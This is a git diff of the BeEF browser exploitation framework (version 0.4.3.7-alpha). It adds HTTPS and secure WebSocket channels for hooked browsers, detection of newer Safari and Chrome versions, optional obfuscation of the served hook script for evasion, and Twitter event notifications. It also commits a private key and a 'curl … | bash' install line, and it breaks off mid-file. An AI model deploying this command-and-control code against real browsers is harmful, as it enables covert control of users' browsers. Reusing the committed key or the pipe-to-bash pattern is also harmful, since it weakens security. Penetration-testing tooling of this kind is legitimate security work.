diff --git a/Gemfile b/Gemfile
index cd4bb331e..155418d9b 100644
--- a/Gemfile
+++ b/Gemfile
@@ -39,6 +39,9 @@ gem "erubis"
gem "dm-migrations"
gem "msfrpc-client"
+# notifications
+gem "twitter"
+
if ENV['BEEF_TEST']
# for running unit tests
gem "test-unit"
diff --git a/README.mkd b/README.mkd
index 79df0d1af..272b5ae76 100644
--- a/README.mkd
+++ b/README.mkd
@@ -72,7 +72,7 @@ __The following is for the impatient.__
For full installation details (including on Microsoft Windows), please refer to INSTALL.txt.
- $ bash -s stable < <(curl -s https://raw.github.com/beefproject/beef/a6a7536e736e7788e12df91756a8f132ced24970/install-beef)
+ $ curl https://raw.github.com/beefproject/beef/a6a7536e/install-beef | bash -s stable
Usage
diff --git a/VERSION b/VERSION
index f9105b3dc..ea837d9ad 100644
--- a/VERSION
+++ b/VERSION
@@ -14,4 +14,4 @@
# limitations under the License.
#
-0.4.3.6-alpha
+0.4.3.7-alpha
diff --git a/beef b/beef
index 6302be317..2a9672d46 100755
--- a/beef
+++ b/beef
@@ -81,7 +81,7 @@ Socket.do_not_reverse_lookup = true
case config.get("beef.database.driver")
when "sqlite"
DataMapper.setup(:default, "sqlite3://#{$root_dir}/#{config.get("beef.database.db_file")}")
- when "mysql","postgres"
+ when "mysql", "postgres"
DataMapper.setup(:default,
:adapter => config.get("beef.database.driver"),
:host => config.get("beef.database.db_host"),
@@ -124,12 +124,13 @@ print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}"
#@note Starts the WebSocket server
if config.get("beef.http.websocket.enable")
BeEF::Core::Websocket::Websocket.instance
- print_info "Starting WebSocket server on port [#{config.get("beef.http.websocket.port").to_i}], secure [#{config.get("beef.http.websocket.secure")}], timer [#{config.get("beef.http.websocket.alive_timer")}]"
+ print_info "Starting WebSocket server on port [#{config.get("beef.http.websocket.port").to_i}], timer [#{config.get("beef.http.websocket.alive_timer")}]"
+ if config.get("beef.http.websocket.secure")
+ print_info "Starting WebSocketSecure server on port [#{config.get("beef.http.websocket.secure_port").to_i}], timer [#{config.get("beef.http.websocket.alive_timer")}]"
+ end
end
-
-
# @note Call the API method 'pre_http_start'
BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)
@@ -140,7 +141,7 @@ if config.get("beef.extension.console.shell.enable") == true
begin
FileUtils.mkdir_p(File.expand_path(config.get("beef.extension.console.shell.historyfolder")))
BeEF::Extension::Console::Shell.new(BeEF::Extension::Console::Shell::DefaultPrompt,
- BeEF::Extension::Console::Shell::DefaultPromptChar,{'config' => config, 'http_hook_server' => http_hook_server}).run
+ BeEF::Extension::Console::Shell::DefaultPromptChar, {'config' => config, 'http_hook_server' => http_hook_server}).run
rescue Interrupt
end
else
diff --git a/beef_cert.pem b/beef_cert.pem
new file mode 100644
index 000000000..9ac7ab1ba
--- /dev/null
+++ b/beef_cert.pem
@@ -0,0 +1,19 @@
+-----BEGIN CERTIFICATE-----
+MIIDDjCCAnegAwIBAgIJAKNYRH/AaB3DMA0GCSqGSIb3DQEBBQUAMIGfMQswCQYD
+VQQGEwJBVTEUMBIGA1UECAwLQm92aW5lIExhbmQxDTALBgNVBAcMBEJlRUYxDTAL
+BgNVBAoMBEJlRUYxDTALBgNVBAsMBEJlRUYxJzAlBgNVBAMMHkJyb3dzZXIgRXhw
+bG9pdGF0aW9uIEZyYW1ld29yazEkMCIGCSqGSIb3DQEJARYVQmVFRkBkb250d3Jp
+dGVtZS5CZUVGMB4XDTEyMDgwNjEzMDUzOFoXDTEzMDgwNjEzMDUzOFowgZ8xCzAJ
+BgNVBAYTAkFVMRQwEgYDVQQIDAtCb3ZpbmUgTGFuZDENMAsGA1UEBwwEQmVFRjEN
+MAsGA1UECgwEQmVFRjENMAsGA1UECwwEQmVFRjEnMCUGA1UEAwweQnJvd3NlciBF
+eHBsb2l0YXRpb24gRnJhbWV3b3JrMSQwIgYJKoZIhvcNAQkBFhVCZUVGQGRvbnR3
+cml0ZW1lLkJlRUYwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBALCxzu+rOTt2
+VBM5X5KL2xpDvMJ7wT0BSVgbkEF9Pd3+h3NbB/LST0n+Mwtnk4wLzmjmNiob3EdP
+0l+pKgIZYT8yHMvI3pwp0hmpE3D2bALyiQTOTjF0IhUeIYa9ZhEyeN+PgA6+Hs0Z
+F/0y0El2XjkPF42Dnmp9mLTSfScv1v4xAgMBAAGjUDBOMB0GA1UdDgQWBBTaXny0
+kTye7CAr0ronsg0ob63+kTAfBgNVHSMEGDAWgBTaXny0kTye7CAr0ronsg0ob63+
+kTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4GBABTy5s/XRd6iBwxOgV6N
+B+cTRgmgHciujbI+0p4TkOkHvQPhhcD3207ndWWwv+Mc2XeQcXNaOfYUDkeCs64N
+JffqThykYOdagvCu1Gecw9BEKeijS9MAuNvtvP7fcUNUql+VeTFbxMBPGDhusafz
+GkY0IBg9+j6XX4JwEXxCGt0a
+-----END CERTIFICATE-----
diff --git a/beef_key.pem b/beef_key.pem
new file mode 100644
index 000000000..1c2fc0ea9
--- /dev/null
+++ b/beef_key.pem
@@ -0,0 +1,16 @@
+-----BEGIN PRIVATE KEY-----
+MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBALCxzu+rOTt2VBM5
+X5KL2xpDvMJ7wT0BSVgbkEF9Pd3+h3NbB/LST0n+Mwtnk4wLzmjmNiob3EdP0l+p
+KgIZYT8yHMvI3pwp0hmpE3D2bALyiQTOTjF0IhUeIYa9ZhEyeN+PgA6+Hs0ZF/0y
+0El2XjkPF42Dnmp9mLTSfScv1v4xAgMBAAECgYAKpDrNTmedACxiGAN8hPXGKCw3
+HlLuBKTRLJ/Mgel29DxeIy5gXnAuCaQzXKKTPabJxIugj5r9pH4MCtkf1T15Aib6
+4MFdx4UegllMUo7eUiuCtSmK9s0wEtJjShujBl4qQ10ZtWUh4Vd/clS88IjM/iPI
+5Ocoph5PUgFt/tX7DQJBAOkGptgdri39bRiSGaR/Si6YYpmMUFoQt+s2id8yH9QS
+26o8cHZKCahSiWLNi4rSzEJIOpXnP3n+Dcq2JttDWGcCQQDCHWgWSpdnX8uqp/Qo
+yp0RZJwyBFoba4bWhzoQJj+39P0+4FBaMlZyLHZ7nd4z0JiE5S3qA9xi8zjQVrrI
+rTWnAkEAmpPxBZfavWNJhW0VWYue1/36GkV73+MLPhq1pruHZZUE5o6lQ7KlaWUn
+AcW79WEUYjursVjvQKuI1pmyeOzZrQJBAIGQHSxbxyjBgPA8QDSF4EZ+r96Wlwoc
+QBiqk6+5x+fiBrJUCG3bkWWNldu2qFxPS63QRlAfGZeWHgK5ENzm95sCQQCe81hU
+WaVM9bmt0ZvfhfQXfgvf3xKNUFemd4skTMUDgNCH1OFULB/Mz16kJDdy0q0qUS88
+yBgay+U9QuoEO425
+-----END PRIVATE KEY-----
diff --git a/config.yaml b/config.yaml
index b9d4f8f08..46c5e98c0 100644
--- a/config.yaml
+++ b/config.yaml
@@ -16,7 +16,7 @@
# BeEF Configuration file
beef:
- version: '0.4.3.6-alpha'
+ version: '0.4.3.7-alpha'
debug: false
restrictions:
@@ -42,8 +42,9 @@ beef:
# Prefer WebSockets over XHR-polling when possible.
websocket:
enable: false
- secure: false # use WebSocketSecure
- port: 11989
+ secure: true # use WebSocketSecure work only on https domain and whit https support enabled in BeEF
+ port: 61985 # WS: good success rate through proxies
+ secure_port: 61986 # WSS
alive_timer: 1000 # poll BeEF every second
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
@@ -51,6 +52,14 @@ beef:
enable: false
type: "apache" #supported: apache, iis
+ # Experimental HTTPS support for the hook / admin / all other Thin managed web services
+ https:
+ enable: false
+ # In production environments, be sure to use a valid certificate signed for the value
+ # used in beef.http.dns (the domain name of the server where you run BeEF)
+ key: "beef_key.pem"
+ cert: "beef_cert.pem"
+
database:
# For information on using other databases please read the
# README.databases file
diff --git a/core/main/client/are.js b/core/main/client/are.js
index f1c7588d8..4cdcff84b 100644
--- a/core/main/client/are.js
+++ b/core/main/client/are.js
@@ -1,4 +1,18 @@
-
+//
+// Copyright 2012 Wade Alcorn wade@bindshell.net
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
beef.are = {
init:function(){
var Jools = require('jools');
diff --git a/core/main/client/browser.js b/core/main/client/browser.js
index cf1a5c174..42bfcaca0 100644
--- a/core/main/client/browser.js
+++ b/core/main/client/browser.js
@@ -211,13 +211,21 @@ beef.browser = {
isS5: function() {
return (window.navigator.userAgent.match(/ Version\/5\.\d/) != null && window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome);
},
+
+ /**
+ * Returns true if Safari 6.xx
+ * @example: beef.browser.isS6()
+ */
+ isS6: function() {
+ return (window.navigator.userAgent.match(/ Version\/6\.\d/) != null && window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome);
+ },
/**
* Returns true if Safari.
* @example: beef.browser.isS()
*/
isS: function() {
- return this.isS4() || this.isS5() || (!window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome);
+ return this.isS4() || this.isS5() || this.isS6() || (!window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome);
},
/**
@@ -348,12 +356,20 @@ beef.browser = {
return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==20)?true:false);
},
+ /**
+ * Returns true if Chrome 21.
+ * @example: beef.browser.isC21()
+ */
+ isC21: function() {
+ return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==21)?true:false);
+ },
+
/**
* Returns true if Chrome.
* @example: beef.browser.isC()
*/
isC: function() {
- return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16()|| this.isC17() || this.isC18() || this.isC19() || this.isC20();
+ return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16()|| this.isC17() || this.isC18() || this.isC19() || this.isC20() || this.isC21();
},
/**
@@ -429,6 +445,7 @@ beef.browser = {
C18: this.isC18(), // Chrome 18
C19: this.isC19(), // Chrome 19
C20: this.isC20(), // Chrome 20
+ C21: this.isC21(), // Chrome 21
C: this.isC(), // Chrome any version
FF2: this.isFF2(), // Firefox 2
@@ -463,6 +480,7 @@ beef.browser = {
S4: this.isS4(), // Safari 4.xx
S5: this.isS5(), // Safari 5.xx
+ S6: this.isS6(), // Safari 6.x
S: this.isS() // Safari any version
}
},
@@ -491,8 +509,9 @@ beef.browser = {
if (this.isC18()) { return '18' }; // Chrome 18
if (this.isC19()) { return '19' }; // Chrome 19
if (this.isC20()) { return '20' }; // Chrome 20
+ if (this.isC21()) { return '21' }; // Chrome 21
- if (this.isFF2()) { return '2' }; // Firefox 2
+ if (this.isFF2()) { return '2' }; // Firefox 2
if (this.isFF3()) { return '3' }; // Firefox 3
if (this.isFF3_5()) { return '3.5'}; // Firefox 3.5
if (this.isFF3_6()) { return '3.6'}; // Firefox 3.6
@@ -515,8 +534,9 @@ beef.browser = {
if (this.isS4()) { return '4' }; // Safari 4
if (this.isS5()) { return '5' }; // Safari 5
+ if (this.isS6()) { return '6' }; // Safari 5
- if (this.isO9_52()) { return '9.5'}; // Opera 9.5x
+ if (this.isO9_52()) { return '9.5'}; // Opera 9.5x
if (this.isO9_60()) { return '9.6'}; // Opera 9.6
if (this.isO10()) { return '10' }; // Opera 10.xx
if (this.isO11()) { return '11' }; // Opera 11.xx
diff --git a/core/main/client/net.js b/core/main/client/net.js
index 66daf0245..9b471f4fd 100644
--- a/core/main/client/net.js
+++ b/core/main/client/net.js
@@ -23,6 +23,7 @@ beef.net = {
host:"<%= @beef_host %>",
port:"<%= @beef_port %>",
hook:"<%= @beef_hook %>",
+ httpproto:"<%= @beef_proto %>",
handler:'/dh',
chop:500,
pad:30, //this is the amount of padding for extra params such as pc, pid and sid
@@ -137,7 +138,7 @@ beef.net = {
push:function (stream) {
//need to implement wait feature here eventually
for (var i = 0; i < stream.pc; i++) {
- this.request(this.port == '443' ? 'https' : 'http', 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null);
+ this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null);
}
},
diff --git a/core/main/client/timeout.js b/core/main/client/timeout.js
new file mode 100644
index 000000000..6aab560cf
--- /dev/null
+++ b/core/main/client/timeout.js
@@ -0,0 +1,26 @@
+//
+// Copyright 2012 Wade Alcorn wade@bindshell.net
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+/*
+ Sometimes there are timing issues and looks like beef_init
+ is not called at all (always in cross-domain situations,
+ for example calling the hook with jquery getScript,
+ or sometimes with event handler injections).
+
+ To fix this, we call again beef_init after 1 second.
+ Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece
+ antisnatchor
+ */
+setTimeout(beef_init, 1000);
\ No newline at end of file
diff --git a/core/main/client/updater.js b/core/main/client/updater.js
index 4987de6f8..d8bbb13cc 100644
--- a/core/main/client/updater.js
+++ b/core/main/client/updater.js
@@ -66,7 +66,7 @@ beef.updater = {
get_commands: function(http_response) {
try {
this.lock = true;
- beef.net.request('http', 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 1, 'script', function(response) {
+ beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 1, 'script', function(response) {
if (response.body != null && response.body.length > 0)
beef.updater.execute_commands();
});
diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js
index 25ccdeeba..69ab27515 100644
--- a/core/main/client/websocket.js
+++ b/core/main/client/websocket.js
@@ -27,15 +27,18 @@ beef.websocket = {
var webSocketPort = <%= @websocket_port %>;
var webSocketSecure = <%= @websocket_secure %>;
var protocol = "ws://";
-
- if(webSocketSecure)
+ //console.log("We are inside init");
+ /*use wss only if hooked domain is under https. Mixed-content in WS is quite different from a non-WS context*/
+ if(webSocketSecure && window.location.protocol=="https:"){
protocol = "wss://";
+ webSocketPort= <%= @websocket_sec_port %>;
+ }
- if (beef.browser.isFF() && !!window.MozWebSocket) {
- beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
+ if (beef.browser.isFF() && !!window.MozWebSocket) {
+ beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
} else {
- beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
+ beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
}
},
@@ -43,10 +46,10 @@ beef.websocket = {
start:function () {
new beef.websocket.init();
this.socket.onopen = function () {
- //console.log("Socket has been opened!");
+ //console.log("Socket has been opened!");
- /*send browser id*/
- beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}');
+ /*send browser id*/
+ beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}');
//console.log("Connected and Helo");
beef.websocket.alive();
}
diff --git a/core/main/console/banners.rb b/core/main/console/banners.rb
index 3621d20e9..7372c62df 100644
--- a/core/main/console/banners.rb
+++ b/core/main/console/banners.rb
@@ -89,12 +89,13 @@ module Banners
def print_network_interfaces_routes
configuration = BeEF::Core::Configuration.instance
+ prototxt = configuration.get("beef.http.https.enable") == true ? "https" : "http"
self.interfaces.map do |host| # display the important URLs on each interface from the interfaces array
print_success "running on network interface: #{host}"
beef_host = configuration.get("beef.http.public_port") || configuration.get("beef.http.port")
- data = "Hook URL: http://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.hook_file")}\n"
- data += "UI URL: http://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.panel_path")}\n"
+ data = "Hook URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.hook_file")}\n"
+ data += "UI URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.panel_path")}\n"
print_more data
end
diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb
index 0ad19d01f..8e30ae735 100644
--- a/core/main/handlers/modules/beefjs.rb
+++ b/core/main/handlers/modules/beefjs.rb
@@ -14,126 +14,152 @@
# limitations under the License.
#
module BeEF
-module Core
-module Handlers
-module Modules
+ module Core
+ module Handlers
+ module Modules
- # @note Purpose: avoid rewriting several times the same code.
- module BeEFJS
+ # @note Purpose: avoid rewriting several times the same code.
+ module BeEFJS
- # Builds the default beefjs library (all default components of the library).
- # @param [Object] req_host The request object
- def build_beefjs!(req_host)
- config = BeEF::Core::Configuration.instance
- # @note set up values required to construct beefjs
- beefjs = ''
- # @note location of sub files
- beefjs_path = "#{$root_dir}/core/main/client/"
- # @note we load websocket library only if ws server is enabled in config.yalm
- # check in init.js
- if config.get("beef.http.websocket.enable")
+ # Builds the default beefjs library (all default components of the library).
+ # @param [Object] req_host The request object
+ def build_beefjs!(req_host)
+ config = BeEF::Core::Configuration.instance
+ # @note set up values required to construct beefjs
+ beef_js = ''
+ # @note location of sub files
+ beef_js_path = "#{$root_dir}/core/main/client/"
- js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js are.js)
- else
- js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js)
+ # @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated
+ ext_js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js)
+ # @note Load websocket library only if WS server is enabled in config.yaml
+ if config.get("beef.http.websocket.enable") == false
+ # @note BeEF libraries: need Eruby evaluation and obfuscation #antisnatchor: leave timeout.js as the last one!
+ beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js timeout.js)
+ else #antisnatchor: leave timeout.js as the last one!
+ beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js are.js timeout.js)
+ end
- end
+ ext_js_to_obfuscate = ''
+ ext_js_to_not_obfuscate = ''
- # @note construct the beefjs string from file(s)
- js_sub_files.each {|js_sub_file_name|
- js_sub_file_abs_path = beefjs_path + js_sub_file_name
- beefjs << (File.read(js_sub_file_abs_path) + "\n\n")
- }
+ # @note If Evasion is enabled, the final ext_js string will be ext_js_to_obfuscate + ext_js_to_not_obfuscate
+ # @note If Evasion is disabled, the final ext_js will be just ext_js_to_not_obfuscate
+ ext_js_sub_files.each{ |ext_js_sub_file|
+ if config.get("beef.extension.evasion.enable")
+ if config.get("beef.extension.evasion.exclude_core_js").include?(ext_js_sub_file)
+ print_debug "Excluding #{ext_js_sub_file} from core files obfuscation list"
+ # do not obfuscate the file
+ ext_js_sub_file_path = beef_js_path + ext_js_sub_file
+ ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")
+ else
+ ext_js_sub_file_path = beef_js_path + ext_js_sub_file
+ ext_js_to_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")
+ end
+ else
+ # Evasion is not enabled, do not obfuscate anything
+ ext_js_sub_file_path = beef_js_path + ext_js_sub_file
+ ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")
+ end
+ }
- # @note create the config for the hooked browser session
+ # @note construct the beef_js string from file(s)
+ beef_js_sub_files.each { |beef_js_sub_file|
+ beef_js_sub_file_path = beef_js_path + beef_js_sub_file
+ beef_js << (File.read(beef_js_sub_file_path) + "\n\n")
+ }
- hook_session_name = config.get('beef.http.hook_session_name')
- hook_session_config = BeEF::Core::Server.instance.to_h
+ # @note create the config for the hooked browser session
+ hook_session_config = BeEF::Core::Server.instance.to_h
- # @note if http_host="0.0.0.0" in config ini, use the host requested by client
- if hook_session_config['beef_host'].eql? "0.0.0.0"
- hook_session_config['beef_host'] = req_host
- hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
- end
+ # @note if http_host="0.0.0.0" in config ini, use the host requested by client
+ if hook_session_config['beef_host'].eql? "0.0.0.0"
+ hook_session_config['beef_host'] = req_host
+ hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
+ end
- # @note if http_port <> public_port in config ini, use the public_port
- unless hook_session_config['beef_public_port'].nil?
- if hook_session_config['beef_port'] != hook_session_config['beef_public_port']
- hook_session_config['beef_port'] = hook_session_config['beef_public_port']
- hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port'])
- if hook_session_config['beef_public_port'] == '443'
- hook_session_config['beef_url'].sub!(/http:/, 'https:')
+ # @note if http_port <> public_port in config ini, use the public_port
+ unless hook_session_config['beef_public_port'].nil?
+ if hook_session_config['beef_port'] != hook_session_config['beef_public_port']
+ hook_session_config['beef_port'] = hook_session_config['beef_public_port']
+ hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port'])
+ if hook_session_config['beef_public_port'] == '443'
+ hook_session_config['beef_url'].sub!(/http:/, 'https:')
+ end
+ end
+ end
+
+ # @note Set some WebSocket properties
+ if config.get("beef.http.websocket.enable")
+ hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure")
+ hook_session_config['websocket_port'] = config.get("beef.http.websocket.port")
+ hook_session_config['websocket_timer'] = config.get("beef.http.websocket.alive_timer")
+ hook_session_config['websocket_sec_port']= config.get("beef.http.websocket.secure_port")
+ end
+
+ # @note populate place holders in the beef_js string and set the response body
+ eruby = Erubis::FastEruby.new(beef_js)
+ @hook = eruby.evaluate(hook_session_config)
+
+ if config.get("beef.extension.evasion.enable")
+ evasion = BeEF::Extension::Evasion::Evasion.instance
+ @hook = evasion.add_bootstrapper + evasion.obfuscate(@hook)
+ @final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate) + @hook
+ else
+ @final_hook = ext_js_to_not_obfuscate + @hook
+ end
+
+ # @note Return the final hook to be sent to the browser
+ @body << @final_hook
+
+ end
+
+ # Finds the path to js components
+ # @param [String] component Name of component
+ # @return [String|Boolean] Returns false if path was not found, otherwise returns component path
+ def find_beefjs_component_path(component)
+ component_path = component
+ component_path.gsub!(/beef./, '')
+ component_path.gsub!(/\./, '/')
+ component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
+
+ return false if not File.exists? component_path
+
+ component_path
+ end
+
+ # Builds missing beefjs components.
+ # @param [Array] beefjs_components An array of component names
+ def build_missing_beefjs_components(beefjs_components)
+ # @note verifies that @beef_js_cmps is not nil to avoid bugs
+ @beef_js_cmps = '' if @beef_js_cmps.nil?
+
+ if beefjs_components.is_a? String
+ beefjs_components_path = find_beefjs_component_path(beefjs_components)
+ raise "Invalid component: could not build the beefjs file" if not beefjs_components_path
+ beefjs_components = {beefjs_components => beefjs_components_path}
+ end
+
+ beefjs_components.keys.each { |k|
+ next if @beef_js_cmps.include? beefjs_components[k]
+
+ # @note path to the component
+ component_path = beefjs_components[k]
+
+ # @note we output the component to the hooked browser
+ @body << File.read(component_path)+"\n\n"
+
+ # @note finally we add the component to the list of components already generated so it does not get generated numerous times.
+ if @beef_js_cmps.eql? ''
+ @beef_js_cmps = component_path
+ else
+ @beef_js_cmps += ",#{component_path}"
+ end
+ }
end
end
end
-
- if config.get("beef.http.websocket.enable")
- hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure")
- hook_session_config['websocket_port'] = config.get("beef.http.websocket.port")
- hook_session_config['websocket_timer'] = config.get("beef.http.websocket.alive_timer")
- end
-
- # @note populate place holders in the beefjs string and set the response body
- eruby = Erubis::FastEruby.new(beefjs)
- @hook = eruby.evaluate(hook_session_config)
-
- if config.get("beef.extension.evasion.enable")
- evasion = BeEF::Extension::Evasion::Evasion.instance
- @hook = evasion.add_bootstrapper + evasion.obfuscate(@hook)
- end
-
- @body << @hook
-
end
-
- # Finds the path to js components
- # @param [String] component Name of component
- # @return [String|Boolean] Returns false if path was not found, otherwise returns component path
- def find_beefjs_component_path(component)
- component_path = component
- component_path.gsub!(/beef./, '')
- component_path.gsub!(/\./, '/')
- component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
-
- return false if not File.exists? component_path
-
- component_path
- end
-
- # Builds missing beefjs components.
- # @param [Array] beefjs_components An array of component names
- def build_missing_beefjs_components(beefjs_components)
- # @note verifies that @beef_js_cmps is not nil to avoid bugs
- @beef_js_cmps = '' if @beef_js_cmps.nil?
-
- if beefjs_components.is_a? String
- beefjs_components_path = find_beefjs_component_path(beefjs_components)
- raise "Invalid component: could not build the beefjs file" if not beefjs_components_path
- beefjs_components = {beefjs_components => beefjs_components_path}
- end
-
- beefjs_components.keys.each {|k|
- next if @beef_js_cmps.include? beefjs_components[k]
-
- # @note path to the component
- component_path = beefjs_components[k]
-
- # @note we output the component to the hooked browser
- @body << File.read(component_path)+"\n\n"
-
- # @note finally we add the component to the list of components already generated so it does not get generated numerous times.
- if @beef_js_cmps.eql? ''
- @beef_js_cmps = component_path
- else
- @beef_js_cmps += ",#{component_path}"
- end
- }
- end
-
end
-
-end
-end
-end
end
diff --git a/core/main/logger.rb b/core/main/logger.rb
index f9e128d77..623b17ba1 100644
--- a/core/main/logger.rb
+++ b/core/main/logger.rb
@@ -24,6 +24,10 @@ module Core
# Constructor
def initialize
@logs = BeEF::Core::Models::Log
+ @config = BeEF::Core::Configuration.instance
+
+ # if notifications are enabled create a new instance
+ @notifications = BeEF::Extension::Notifications::Notifications unless @config.get('beef.extension.notifications.enable') == false
end
# Registers a new event in the logs
@@ -34,6 +38,9 @@ module Core
def register(from, event, hb = 0)
# type conversion to enforce standards
hb = hb.to_i
+
+ # get time now
+ time_now = Time.now
# arguments type checking
raise Exception::TypeError, '"from" needs to be a string' if not from.string?
@@ -41,7 +48,12 @@ module Core
raise Exception::TypeError, '"Hooked Browser ID" needs to be an integer' if not hb.integer?
# logging the new event into the database
- @logs.new(:type => "#{from}", :event => "#{event}", :date => Time.now, :hooked_browser_id => hb).save
+ @logs.new(:type => "#{from}", :event => "#{event}", :date => time_now, :hooked_browser_id => hb).save
+
+ # if notifications are enabled send the info there too
+ if @notifications
+ @notifications.new(from, event, time_now, hb)
+ end
# return
true
diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb
index a24506827..a17d3c35d 100644
--- a/core/main/network_stack/websocket/websocket.rb
+++ b/core/main/network_stack/websocket/websocket.rb
@@ -27,17 +27,156 @@ module BeEF
@@activeSocket= Hash.new
@@lastalive= Hash.new
@@config = BeEF::Core::Configuration.instance
+ #@@wsopt=nil
MOUNTS = BeEF::Core::Server.instance.mounts
def initialize
- port = @@config.get("beef.http.websocket.port")
+
+
secure = @@config.get("beef.http.websocket.secure")
+ @root_dir = File.expand_path('../../../../../', __FILE__)
+
+ if (secure)
+ ws_secure_options = {:host => "0.0.0.0", :port => @@config.get("beef.http.websocket.secure_port"), :secure => true,
+ :tls_options => {
+ :private_key_file => @root_dir+"/"+@@config.get("beef.http.https.key"),
+ :cert_chain_file => @root_dir+"/"+ @@config.get("beef.http.https.cert")
+ }
+ }
+ # @note Start a WSS server socket
+ start_websocket_server(ws_secure_options, true)
+ end
+
+ # @note Start a WS server socket
+ ws_options = {:host => "0.0.0.0", :port => @@config.get("beef.http.websocket.port")}
+ start_websocket_server(ws_options,false)
+
+ # #Thread for websocket-secure
+ # Thread.new {
+ # port = @@config.get("beef.http.websocket.secure_port")
+ # sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets
+ # EventMachine.run {
+ #
+ # wsopt = {:host => "0.0.0.0", :port => port, :secure => true,
+ # :tls_options => {
+ # :private_key_file => @root_dir+"/"+@@config.get("beef.http.https.key"),
+ # :cert_chain_file => @root_dir+"/"+ @@config.get("beef.http.https.cert")
+ # }
+ # }
+ #
+ #
+ # EventMachine::WebSocket.start(wsopt) do |ws|
+ # begin
+ # print_debug "New WebSocket-secured channel open."
+ # ws.onmessage { |msg|
